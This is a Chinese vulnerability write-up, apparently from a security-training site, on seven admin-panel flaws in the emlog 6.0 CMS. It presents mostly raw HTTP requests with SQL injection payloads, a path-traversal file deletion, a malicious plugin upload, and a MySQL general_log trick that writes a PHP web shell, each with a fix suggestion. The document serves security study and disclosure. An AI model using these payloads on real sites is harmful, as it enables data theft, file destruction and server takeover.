本文由掌控安全学院 -xzz 投稿
1、后台标签删除处存在1处sql注入
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/tag.php?action=dell_all_tag
●
漏洞参数:
tag
[
xx
]
●
是否存在限制:无
●
是否还有其他条件:
action
=
dell_all_tag
,
token
复现
POST
/
admin
/
tag
.
php
?
action
=
dell_all_tag HTTP
/
1.1
Host
:
emlog6
.
0.com
Content
-
Length
:
65
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//emlog6.0.com
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
95.0
.
4638.69
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/tag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=oqlj6bcle1k5ukcrfnj52e99j4; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=f03cfe2175392b6fea4d5d25ef72278f
Connection: close
c%5B111+or+sleep(1)%5D=1&token=f03cfe2175392b6fea4d5d25ef72278f
查看延时的倍数
代码
tags
变量键值分离,针对键做了数据库操作
修复建议
对用户的输入验证和过滤。使用预编译和转义函数。
2、后台评论处评论者标签下来自处存在1处sql注入
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/comment.php?action=delbyip&ip=127.0.0.1&token=ee4b851eb3f103685da3bbbdd7837051
●
漏洞参数:
ip
●
是否存在限制:单引号闭合;需要登录后台获取
token
●
是否还有其他条件:
action
=
delbyip
&
ip
=&
token
参数都必须存在
复现
payload
:
' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
GET
/
admin
/
comment
.
php
?
action
=
delbyip
&
ip
=
1
'and+updatexml(1,concat(0x7e,(SELECT+%40%40version),0x7e),1)--+kjdX&token=123e2dd43ef80874d0fe4975866fdf19 HTTP/1.1
Host: emlog6.0.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/comment.php?active_del=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_sort_new=inline-block; PHPSESSID=2i21vnksbvj4kjcntdm2tq8265; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=123e2dd43ef80874d0fe4975866fdf19; em_logpwd_3=9999; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F
Connection: close
代码
get
接收
ip
变量没有使用
addslashesh
函数过滤,
sql
语句里有单引号,直接闭合就可以
修复建议
对用户的输入验证和过滤。使用预编译和转义函数
3、后台外观-导航-添加页面到导航添加处存在2处sql报错注入
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/navbar.php?action=add_page
●
漏洞参数:
pages
[
x
]=
y
●
是否存在限制:无
●
是否还有其他条件:
action
=
add_page
复现
第一处
POST
/
admin
/
navbar
.
php
?
action
=
add_page HTTP
/
1.1
Host
:
emlog6
.
0.com
Content
-
Length
:
94
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//emlog6.0.com
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
95.0
.
4638.69
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_sort_new=inline-block; em_link_new=inline-block; em_custom_text_new=inline-block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=pk3dk4qk2v7s89ef1e7ckm7851; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=24225d813e551487a6648954b0b94a32; em_logpwd_9=1234567
Connection: close
pages%5B6%5D=2'+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK
第二处
POST
/
admin
/
navbar
.
php
?
action
=
add_page HTTP
/
1.1
Host
:
emlog6
.
0.com
Content
-
Length
:
96
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//emlog6.0.com
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
95.0
.
4638.69
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
Connection: close
pages%5B2+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK'%5D=111
代码
如果
pages
参数存在并且有值,则将其值赋给变量
$pages
,否则将
$pages
赋值为空数组。遍历了一个名为
$pages
的数组。在每次迭代中,它从数组中取出一个键值对,其中键是
$id
,而值是
$title
。从接收到
sql
语句都没有任何过滤
修复建议
对用户的输入验证和过滤。使用预编译和转义函数。
4、后台外观-侧边栏保存组件排序处存在1处sql注入
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/widgets.php?action=compages
●
漏洞参数:
widgets
[]
●
是否存在限制:无
●
是否还有其他条件:
action
=
compages
复现
POST
/
admin
/
widgets
.
php
?
action
=
compages HTTP
/
1.1
Host
:
emlog6
.
0.com
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
rv
:
78.0
)
Gecko
/
20100101
Firefox
/
78.0
Content
-
Length
:
125
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: em_advset=block; em_sort_new=inline-block; em_custom_text_new=inline-block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=1k2r5e2fgke63vjqv3gbn1mkf6; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=3727215c7d05ed0180fa46f6b4043bd7
Origin: http://emlog6.0.com
Referer: http://emlog6.0.com/admin/widgets.php?activated=1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
wgnum=1&widgets%5B%5D=search&widgets%5B%5D=archive&widgets%5B%5D=link'and/**/
extractvalue
(
1
,
concat
(
char
(
126
),
database
()))
and
'
代码
widgets
参数存在就将它序列化,不存在赋值为空
如果
$isSyntax
的值为假,即值为
0
或为空,
$value
则被赋值为在其两侧加上单引号的字符串,即
' . $value . '
。
修复建议
对用户的输入验证和过滤。使用预编译和转义函数。
5、后台系统-数据库备份删除处存在任意文件删除
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/data.php?action=dell_all_bak
●
漏洞参数:
bak
[]
●
是否存在限制:无
●
是否还有其他条件:
action
=
dell_all_bak
复现
在自己的文件夹创建文件,可实现跨目录删除文件
POST
/
admin
/
data
.
php
?
action
=
dell_all_bak HTTP
/
1.1
Host
:
emlog6
.
0.com
Content
-
Length
:
27
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//emlog6.0.com
Content
-
Type
:
application
/
x
-
www
-
form
-
urlencoded
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
95.0
.
4638.69
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/data.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_plugin_new=block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec
Connection: close
bak%5B%5D=../../../../1.txt
代码
bak
参数存在且是数组,就会执行删除操作
修复建议
加强用户输入验证,并限制用户所能删除的文件范围。
6、后台系统-插件处存在1处文件上传漏洞
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/plugin.php?action=upload_zip
●
漏洞参数:
filename
●
是否存在限制:上传的文件和文件夹的名字相同
●
是否还有其他条件:
action
=
upload_zip
,
name
=
pluzip
复现
POST
/
admin
/
plugin
.
php
?
action
=
upload_zip HTTP
/
1.1
Host
:
emlog6
.
0.com
Content
-
Length
:
629
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//emlog6.0.com
Content
-
Type
:
multipart
/
form
-
data
;
boundary
=----
WebKitFormBoundary2DpnCXUHc5otIBms
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
95.0
.
4638.69
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/plugin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
Connection: close
------WebKitFormBoundary2DpnCXUHc5otIBms
Content-Disposition: form-data; name="pluzip"; filename="text.zip"
Content-Type: application/x-zip-compressed
请求内容不显示:PK
上传后直接访问解压后的文件
代码
先判断上传的文件是否存在,如存在就判断上传的后缀是否为
zip
,在将上传的
zip
文件进行解压操作
对压缩包里的文件名称进行判断,如果压缩包名称为
test
则压缩包里必须存在
test
.
php
文件,否者会进行报错
修复建议
修复文件上传漏洞需要限制上传文件类型、验证文件的
MIME
类型、设置文件上传大小限制、实施恶意文件扫描,以及避免执行上传的文件,从而确保服务器的安全性。
7、后台数据库备份拿shell
漏洞条件
●
漏洞
url
:
http
:
//emlog6.0.com/admin/data.php?action=import
●
漏洞参数:
●
是否存在限制:需要高数据库权限
●
是否还有其他条件:
action
=
import
,
name
=
sqlfile
,
filename
=参数存在
复现
数据库拿
shell
主要有两种方式:
一、
select
…
into
outfile
利用需要的条件有:
●
对
web
目录需要有写权限;
●
能够使用单引号;
●
知道绝对路径;
●
secure
-
file
-
priv
值必须为空(不能为
null
)
二、开启
mysql
日志记录
general_log
,将日志写入特定目录下,利用条件有:
●
对
web
目录需要要写权限;
●
能够使用单引号;
●
知道绝对路径;
●
能够执行多行
sql
语句。
第一种方法,先备份
sql
语句,在其基础上插入
select
“<?
php phpinfo
();
?>”
into
outfile
‘
eval
.
php
’语句就
ok
了,但是默认
secure
-
file
-
priv
值
null
,这个方法行不通。
-
其中当参数
secure_file_priv
为空时,对导入导出无限制
-
当
secure_file_priv
值为一个指定的目录时,只能向指定的目录导入导出
-
当
secure_file_priv
值被设置为
NULL
时,禁止导入导出功能
第二种方法:数据库备份-编辑备份内容-导入编辑好的
sql
文件,直接访问生成的文件
#开启日志记录
set
global
general_log
=
'on'
;
#设置日志记录的路径
SET
global
general_log_file
=
'D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval1.php'
;
#任意查询恶意内容都会被保存到日志
SELECT
'<?php phpinfo();?>'
;
注意:开启
sql
日志记录和设置日志路径文件需要高数据库权限
当前网站的数据库权限为,
cms
安装时选择的用户,
详细请求数据包
POST
/
admin
/
data
.
php
?
action
=
import
HTTP
/
1.1
Host
:
emlog6
.
0.com
Content
-
Length
:
1086
Cache
-
Control
:
max
-
age
=
0
Upgrade
-
Insecure
-
Requests
:
1
Origin
:
http
:
//emlog6.0.com
Content
-
Type
:
multipart
/
form
-
data
;
boundary
=----
WebKitFormBoundaryfPRivdhzWTTFgYdA
User
-
Agent
:
Mozilla
/
5.0
(
Windows
NT
10.0
;
Win64
;
x64
)
AppleWebKit
/
537.36
(
KHTML
,
like
Gecko
)
Chrome
/
95.0
.
4638.69
Safari
/
537.36
Accept
:
text
/
html
,
application
/
xhtml
+
xml
,
application
/
xml
;
q
=
0.9
,
image
/
avif
,
image
/
webp
,
image
/
apng
,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/data.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=0b2864j2ah3vhq7ouift3i53i3; EM_AUTHCOOKIE_I8ovfEdc33MzTKkbau3AYXkL5WEBeWQF=emm666%7C%7Cd989e69e972e2e1e490cd83d89356916; EM_TOKENCOOKIE_8bd3e1f19392195216b74e3a316ab187=d1709c4b7c5cadfa5c1e988f39e0eed1; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=0d1a684b7b31b8048948247ab4fce60f
Connection: close
------WebKitFormBoundaryfPRivdhzWTTFgYdA
Content-Disposition: form-data; name="token"
0d1a684b7b31b8048948247ab4fce60f
------WebKitFormBoundaryfPRivdhzWTTFgYdA
Content-Disposition: form-data; name="sqlfile"; filename="emlog_20240102_213007.sql"
Content-Type: application/octet-stream
#version:emlog 6.0.0
#date:2024-01-02 21:30
#tableprefix:emlog_
DROP TABLE IF EXISTS emlog_link;
set global general_log='on';
SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval99.php';
SELECT '<?php phpinfo();?>';
CREATE TABLE `emlog_link` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`sitename` varchar(30) NOT NULL DEFAULT '',
`siteurl` varchar(75) NOT NULL DEFAULT '',
`description` varchar(255) NOT NULL DEFAULT '',
`hide` enum('n','y') NOT NULL DEFAULT 'n',
`taxis` int(10) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
INSERT INTO emlog_link VALUES('1','emlog.net','http://www.emlog.net','emlog官方主页','n','0');
#the end of backup
------WebKitFormBoundaryfPRivdhzWTTFgYdA--
直接访问即可
此时数据库的记录已经开启,且写入文件为上面的指定
php
文件,我们很多设计到数据库的操作都会被记录,
比如用户登录的时候,一定会将传入的账户密码带入数据库查询,我们可以直接在登录的时候,传入
payload
:<?
php system
(
calc
);?>
然后刷新日志文件
eval99
.
php
即可触发
代码
导入备份文件,日志默认记录,被配文件会被日志执行
sql
语句
修复建议
修复
GetShell
漏洞的方式是严格限制并检查文件上传,设置正确的文件权限,以及合理配置服务器以防止不安全的文件执行。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论